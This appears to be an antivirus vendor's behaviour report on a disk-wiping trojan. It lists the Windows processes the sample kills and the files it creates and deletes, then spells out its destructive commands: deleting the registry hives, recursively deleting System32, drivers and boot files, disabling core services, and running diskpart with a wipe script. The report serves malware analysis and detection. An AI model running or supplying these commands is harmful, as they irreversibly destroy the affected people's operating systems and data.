Trojan.Siggen34.19408

Technical Information

To ensure autorun and distribution

Modifies master boot record (MBR).

Malicious functions

Launches a large number of processes

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\dwm.exe
<SYSTEM32>\winlogon.exe
<SYSTEM32>\fontdrvhost.exe
<SYSTEM32>\sihost.exe
<SYSTEM32>\svchost.exe
%WINDIR%\explorer.exe
<SYSTEM32>\runtimebroker.exe
<SYSTEM32>\dllhost.exe
<SYSTEM32>\securityhealthsystray.exe
<SYSTEM32>\oobe\useroobebroker.exe
<SYSTEM32>\cmd.exe
<SYSTEM32>\reg.exe
<SYSTEM32>\csrss.exe
<SYSTEM32>\smss.exe

the following user processes:

iexplore.exe
firefox.exe

Modifies file system

Creates the following files

<Current directory>\destroy_all.txt
<Current directory>\final_wipe.bat
nul

Deletes the following system files

<DRIVERS>\lsi_sas.sys
%WINDIR%\winsxs\amd64_dual_lsi_sas.inf_31bf3856ad364e35_10.0.19041.1_none_5f9a81f80313be75\lsi_sas.sys
%WINDIR%\winsxs\amd64_dual_netrtl64.inf_31bf3856ad364e35_10.0.19041.1_none_3519a95140eb0db0\rtnic64.sys
<SYSTEM32>\msvcp140.dll

Miscellaneous

Executes the following

'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SYSTEM /f > nul 2>&1
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SOFTWARE /f > nul 2>&1
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SAM /f > nul 2>&1
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SECURITY /f > nul 2>&1
'<SYSTEM32>\reg.exe' delete HKLM\SYSTEM /f
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\BCD00000000 /f > nul 2>&1
'<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE /f
'<SYSTEM32>\reg.exe' delete HKLM\SAM /f
'<SYSTEM32>\cmd.exe' /c takeown /f <SYSTEM32>\* /r /d y > nul 2>&1
'<SYSTEM32>\reg.exe' delete HKLM\SECURITY /f
'<SYSTEM32>\cmd.exe' /c icacls <SYSTEM32>\* /grant administrators:F /t > nul 2>&1
'<SYSTEM32>\reg.exe' delete HKLM\BCD00000000 /f
'<SYSTEM32>\cmd.exe' /c del /f /q /s <SYSTEM32>\*.* > nul 2>&1
'<SYSTEM32>\cmd.exe' /c del /f /q /s <SYSTEM32>\config\*.* > nul 2>&1
'<SYSTEM32>\takeown.exe' /f <SYSTEM32>\* /r /d y
'<SYSTEM32>\cmd.exe' /c del /f /q /s C:\Boot\*.* > nul 2>&1
'<SYSTEM32>\cmd.exe' /c del /f /q /s %WINDIR%\Boot\*.* > nul 2>&1
'<SYSTEM32>\icacls.exe' <SYSTEM32>\* /grant administrators:F /t
'<SYSTEM32>\cmd.exe' /c del /f /q /s <DRIVERS>\*.* > nul 2>&1
'<SYSTEM32>\cmd.exe' /c del /f /q /s %WINDIR%\WinSxS\*.* > nul 2>&1
'<SYSTEM32>\cmd.exe' /c sc stop Winmgmt > nul 2>&1
'<SYSTEM32>\cmd.exe' /c sc config Winmgmt start= disabled > nul 2>&1
'<SYSTEM32>\cmd.exe' /c sc stop CryptSvc > nul 2>&1
'<SYSTEM32>\cmd.exe' /c sc config CryptSvc start= disabled > nul 2>&1
'<SYSTEM32>\cmd.exe' /c sc stop DcomLaunch > nul 2>&1
'<SYSTEM32>\cmd.exe' /c sc config DcomLaunch start= disabled > nul 2>&1
'<SYSTEM32>\sc.exe' stop Winmgmt
'<SYSTEM32>\sc.exe' config Winmgmt start= disabled
'<SYSTEM32>\sc.exe' stop CryptSvc
'<SYSTEM32>\cmd.exe' /c takeown /f C:\bootmgr > nul 2>&1
'<SYSTEM32>\sc.exe' config CryptSvc start= disabled
'<SYSTEM32>\cmd.exe' /c icacls C:\bootmgr /grant administrators:F > nul 2>&1
'<SYSTEM32>\sc.exe' stop DcomLaunch
'<SYSTEM32>\cmd.exe' /c attrib -R -S -H C:\bootmgr > nul 2>&1
'<SYSTEM32>\sc.exe' config DcomLaunch start= disabled
'<SYSTEM32>\cmd.exe' /c del /F C:\bootmgr > nul 2>&1
'<SYSTEM32>\cmd.exe' /c takeown /f C:\ntldr > nul 2>&1
'<SYSTEM32>\takeown.exe' /f C:\bootmgr
'<SYSTEM32>\icacls.exe' C:\bootmgr /grant administrators:F
'<SYSTEM32>\cmd.exe' /c icacls C:\ntldr /grant administrators:F > nul 2>&1
'<SYSTEM32>\attrib.exe' -R -S -H C:\bootmgr
'<SYSTEM32>\cmd.exe' /c attrib -R -S -H C:\ntldr > nul 2>&1
'<SYSTEM32>\takeown.exe' /f C:\ntldr
'<SYSTEM32>\cmd.exe' /c del /F C:\ntldr > nul 2>&1
'<SYSTEM32>\icacls.exe' C:\ntldr /grant administrators:F
'<SYSTEM32>\cmd.exe' /c takeown /f C:\NTDETECT.COM > nul 2>&1
'<SYSTEM32>\attrib.exe' -R -S -H C:\ntldr
'<SYSTEM32>\cmd.exe' /c icacls C:\NTDETECT.COM /grant administrators:F > nul 2>&1
'<SYSTEM32>\cmd.exe' /c attrib -R -S -H C:\NTDETECT.COM > nul 2>&1
'<SYSTEM32>\cmd.exe' /c del /F C:\NTDETECT.COM > nul 2>&1
'<SYSTEM32>\takeown.exe' /f C:\NTDETECT.COM
'<SYSTEM32>\cmd.exe' /c diskpart /s destroy_all.txt > nul 2>&1
'<SYSTEM32>\smss.exe' 000000d4 00000084
'<SYSTEM32>\smss.exe' 000000ec 00000084
'<SYSTEM32>\smss.exe' 000000d0 00000084
'<SYSTEM32>\smss.exe' 0000009c 00000084
'<SYSTEM32>\smss.exe' 000000cc 00000084
'<SYSTEM32>\smss.exe' 00000120 00000084
'<SYSTEM32>\smss.exe' 00000130 00000084
'<SYSTEM32>\smss.exe' 00000140 00000084
'<SYSTEM32>\smss.exe' 00000124 00000084
'<SYSTEM32>\smss.exe' 00000150 00000084
'<SYSTEM32>\smss.exe' 00000158 00000084
'<SYSTEM32>\smss.exe' 00000164 00000084
'<SYSTEM32>\smss.exe' 0000016c 00000084
'<SYSTEM32>\smss.exe' 0000013c 00000084
'<SYSTEM32>\smss.exe' 00000178 00000084
'<SYSTEM32>\smss.exe' 00000180 00000084
'<SYSTEM32>\smss.exe' 00000138 00000084
'<SYSTEM32>\smss.exe' 0000018c 00000084
'<SYSTEM32>\smss.exe' 00000194 00000084
'<SYSTEM32>\smss.exe' 00000144 00000084
'<SYSTEM32>\smss.exe' 00000188 00000084
'<SYSTEM32>\smss.exe' 000001a8 00000084
'<SYSTEM32>\smss.exe' 000001a0 00000084
'<SYSTEM32>\smss.exe' 000001b0 00000084
'<SYSTEM32>\smss.exe' 0000012c 00000084
'<SYSTEM32>\smss.exe' 00000128 00000084
'<SYSTEM32>\smss.exe' 000001b4 00000084
'<SYSTEM32>\smss.exe' 000001b8 00000084
'<SYSTEM32>\smss.exe' 00000134 00000084
'<SYSTEM32>\smss.exe' 000000c0 00000084
'<SYSTEM32>\smss.exe' 000000f4 00000084
'<SYSTEM32>\smss.exe' 00000080 00000084
'<SYSTEM32>\smss.exe' 000001bc 00000084
'<SYSTEM32>\smss.exe' 000000fc 00000084
'<SYSTEM32>\smss.exe' 000001c4 00000084
'<SYSTEM32>\smss.exe' 000001d0 00000084
'<SYSTEM32>\smss.exe' 000001c0 00000084
'<SYSTEM32>\smss.exe' 000001d8 00000084
'<SYSTEM32>\smss.exe' 000001e8 00000084
'<SYSTEM32>\smss.exe' 000001f4 00000084
'<SYSTEM32>\smss.exe' 000001e0 00000084
'<SYSTEM32>\smss.exe' 000001fc 00000084
'<SYSTEM32>\smss.exe' 00000210 00000084
'<SYSTEM32>\smss.exe' 00000220 00000084
'<SYSTEM32>\smss.exe' 00000234 00000084
'<SYSTEM32>\smss.exe' 0000023c 00000084
'<SYSTEM32>\smss.exe' 00000218 00000084
'<SYSTEM32>\smss.exe' 00000204 00000084
'<SYSTEM32>\smss.exe' 0000024c 00000084
'<SYSTEM32>\smss.exe' 00000240 00000084
'<SYSTEM32>\smss.exe' 00000224 00000084
'<SYSTEM32>\smss.exe' 00000260 00000084
'<SYSTEM32>\smss.exe' 0000025c 00000084
'<SYSTEM32>\smss.exe' 00000274 00000084
'<SYSTEM32>\smss.exe' 00000228 00000084
'<SYSTEM32>\smss.exe' 0000027c 00000084
'<SYSTEM32>\smss.exe' 00000284 00000084
'<SYSTEM32>\smss.exe' 000001a4 00000084
'<SYSTEM32>\smss.exe' 000002a0 00000084
'<SYSTEM32>\smss.exe' 00000288 00000084
'<SYSTEM32>\smss.exe' 000002b0 00000084
'<SYSTEM32>\smss.exe' 000002b8 00000084
'<SYSTEM32>\smss.exe' 00000294 00000084
'<SYSTEM32>\smss.exe' 00000114 00000084
'<SYSTEM32>\smss.exe' 000002d0 00000084
'<SYSTEM32>\smss.exe' 000002e8 00000084
'<SYSTEM32>\smss.exe' 000002f8 00000084
'<SYSTEM32>\smss.exe' 000002ac 00000084
'<SYSTEM32>\smss.exe' 000002f0 00000084
'<SYSTEM32>\smss.exe' 000002dc 00000084
'<SYSTEM32>\smss.exe' 00000308 00000084
'<SYSTEM32>\smss.exe' 00000310 00000084
'<SYSTEM32>\smss.exe' 000002d8 00000084
'<SYSTEM32>\smss.exe' 000002b4 00000084
'<SYSTEM32>\smss.exe' 00000318 00000084
'<SYSTEM32>\smss.exe' 00000298 00000084
'<SYSTEM32>\smss.exe' 00000320 00000084
'<SYSTEM32>\smss.exe' 0000032c 00000084
'<SYSTEM32>\smss.exe' 00000324 00000084
'<SYSTEM32>\smss.exe' 000002ec 00000084
'<SYSTEM32>\smss.exe' 0000033c 00000084
'<SYSTEM32>\smss.exe' 00000214 00000084
'<SYSTEM32>\smss.exe' 00000350 00000084
'<SYSTEM32>\smss.exe' 00000360 00000084
'<SYSTEM32>\smss.exe' 00000354 00000084
'<SYSTEM32>\smss.exe' 00000358 00000084
'<SYSTEM32>\smss.exe' 00000378 00000084
'<SYSTEM32>\smss.exe' 0000034c 00000084
'<SYSTEM32>\smss.exe' 0000037c 00000084
'<SYSTEM32>\smss.exe' 0000036c 00000084
'<SYSTEM32>\smss.exe' 000002e4 00000084
'<SYSTEM32>\smss.exe' 00000384 00000084
'<SYSTEM32>\smss.exe' 00000388 00000084
'<SYSTEM32>\smss.exe' 00000368 00000084
'<SYSTEM32>\smss.exe' 00000394 00000084
'<SYSTEM32>\smss.exe' 000003a0 00000084
'<SYSTEM32>\smss.exe' 000003a8 00000084
'<SYSTEM32>\smss.exe' 000003ac 00000084
'<SYSTEM32>\smss.exe' 000003bc 00000084
'<SYSTEM32>\smss.exe' 0000039c 00000084
'<SYSTEM32>\smss.exe' 0000031c 00000084
'<SYSTEM32>\smss.exe' 000002e0 00000084
'<SYSTEM32>\smss.exe' 000003c0 00000084
'<SYSTEM32>\smss.exe' 000003d0 00000084
'<SYSTEM32>\smss.exe' 000003cc 00000084
'<SYSTEM32>\smss.exe' 000003d4 00000084
'<SYSTEM32>\smss.exe' 000003e4 00000084
'<SYSTEM32>\smss.exe' 000003d8 00000084
'<SYSTEM32>\smss.exe' 000003ec 00000084
'<SYSTEM32>\smss.exe' 000003dc 00000084
'<SYSTEM32>\smss.exe' 000003f4 00000084
'<SYSTEM32>\smss.exe' 000003e8 00000084
'<SYSTEM32>\smss.exe' 000003a4 00000084
'<SYSTEM32>\smss.exe' 000003c8 00000084
'<SYSTEM32>\smss.exe' 00000364 00000084
'<SYSTEM32>\smss.exe' 000003b0 00000084
'<SYSTEM32>\smss.exe' 000003e0 00000084
'<SYSTEM32>\smss.exe' 000003f0 00000084
'<SYSTEM32>\smss.exe' 000003fc 00000084
'<SYSTEM32>\smss.exe' 000003b8 00000084
'<SYSTEM32>\smss.exe' 00000390 00000084
'<SYSTEM32>\smss.exe' 000003c4 00000084
'<SYSTEM32>\smss.exe' 00000398 00000084
'<SYSTEM32>\smss.exe' 00000370 00000084
'<SYSTEM32>\smss.exe' 0000035c 00000084
'<SYSTEM32>\smss.exe' 00000330 00000084
'<SYSTEM32>\smss.exe' 00000338 00000084
'<SYSTEM32>\smss.exe' 00000328 00000084
'<SYSTEM32>\smss.exe' 00000334 00000084
'<SYSTEM32>\smss.exe' 000002fc 00000084
'<SYSTEM32>\smss.exe' 00000340 00000084
'<SYSTEM32>\smss.exe' 000002a4 00000084
'<SYSTEM32>\smss.exe' 00000344 00000084
'<SYSTEM32>\smss.exe' 00000314 00000084
'<SYSTEM32>\smss.exe' 00000304 00000084
'<SYSTEM32>\smss.exe' 0000030c 00000084
'<SYSTEM32>\smss.exe' 00000300 00000084
'<SYSTEM32>\smss.exe' 00000374 00000084
'<SYSTEM32>\smss.exe' 00000380 00000084
'<SYSTEM32>\smss.exe' 000002cc 00000084
'<SYSTEM32>\smss.exe' 000002c4 00000084
'<SYSTEM32>\smss.exe' 000002d4 00000084
'<SYSTEM32>\smss.exe' 0000029c 00000084
'<SYSTEM32>\smss.exe' 000002bc 00000084
'<SYSTEM32>\smss.exe' 0000038c 00000084
'<SYSTEM32>\smss.exe' 00000108 00000084
'<SYSTEM32>\smss.exe' 0000022c 00000084
'<SYSTEM32>\smss.exe' 00000268 00000084
'<SYSTEM32>\smss.exe' 00000278 00000084
'<SYSTEM32>\smss.exe' 0000020c 00000084
'<SYSTEM32>\smss.exe' 00000250 00000084
'<SYSTEM32>\smss.exe' 00000258 00000084
'<SYSTEM32>\smss.exe' 00000244 00000084
'<SYSTEM32>\smss.exe' 00000248 00000084
'<SYSTEM32>\smss.exe' 00000200 00000084
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SYSTEM /f > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SOFTWARE /f > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SAM /f > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\SECURITY /f > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c reg delete HKLM\BCD00000000 /f > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c takeown /f <SYSTEM32>\* /r /d y > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c icacls <SYSTEM32>\* /grant administrators:F /t > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /q /s <SYSTEM32>\*.* > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /q /s <SYSTEM32>\config\*.* > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /q /s C:\Boot\*.* > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /q /s %WINDIR%\Boot\*.* > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /q /s <DRIVERS>\*.* > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /f /q /s %WINDIR%\WinSxS\*.* > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc stop Winmgmt > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc config Winmgmt start= disabled > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc stop CryptSvc > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc config CryptSvc start= disabled > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc stop DcomLaunch > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c sc config DcomLaunch start= disabled > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c takeown /f C:\bootmgr > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c icacls C:\bootmgr /grant administrators:F > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c attrib -R -S -H C:\bootmgr > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /F C:\bootmgr > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c takeown /f C:\ntldr > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c icacls C:\ntldr /grant administrators:F > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c attrib -R -S -H C:\ntldr > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /F C:\ntldr > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c takeown /f C:\NTDETECT.COM > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c icacls C:\NTDETECT.COM /grant administrators:F > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c attrib -R -S -H C:\NTDETECT.COM > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c del /F C:\NTDETECT.COM > nul 2>&1' (with hidden window)
'<SYSTEM32>\cmd.exe' /c diskpart /s destroy_all.txt > nul 2>&1' (with hidden window)

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial